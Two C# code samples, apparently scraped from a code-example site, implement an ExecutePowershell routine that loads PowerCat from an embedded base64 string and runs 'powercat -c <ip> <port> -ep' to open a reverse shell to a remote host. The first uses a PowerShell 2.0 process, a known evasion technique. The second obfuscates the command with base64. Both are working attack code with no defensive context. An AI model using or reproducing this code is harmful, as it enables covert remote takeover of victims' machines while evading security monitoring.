示例#1
0
        private static void ExecutePowershell(object args)
        {
            var a        = (object[])args;
            var ip       = (string)a[0];
            var port     = (string)a[1];
            var instance = new PowerShellProcessInstance(new Version(2, 0), null, null, false);

            using (var rs = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]), instance))
            {
                rs.Open();

                var pipeline = rs.CreatePipeline();
                pipeline.Commands.AddScript(PowerCat.PowerCatBase64());
                pipeline.Commands.AddScript("powercat -c " + ip + "  " + port + " -ep");
                pipeline.Invoke();
            }
        }
示例#2
0
        private static void ExecutePowershell(object args)
        {
            var a    = (object[])args;
            var ip   = (string)a[0];
            var port = (string)a[1];

            RunspaceConfiguration rspace = RunspaceConfiguration.Create();

            using (Runspace rs = RunspaceFactory.CreateRunspace(rspace))
            {
                rs.Open();

                var pipeline = rs.CreatePipeline();
                pipeline.Commands.AddScript(PowerCat.PowerCatBase64());
                pipeline.Commands.AddScript(Encoding.UTF8.GetString(Convert.FromBase64String("cG93ZXJjYXQgLWMg")) + ip + "  " + port + " -ep");
                pipeline.Invoke();
            }
        }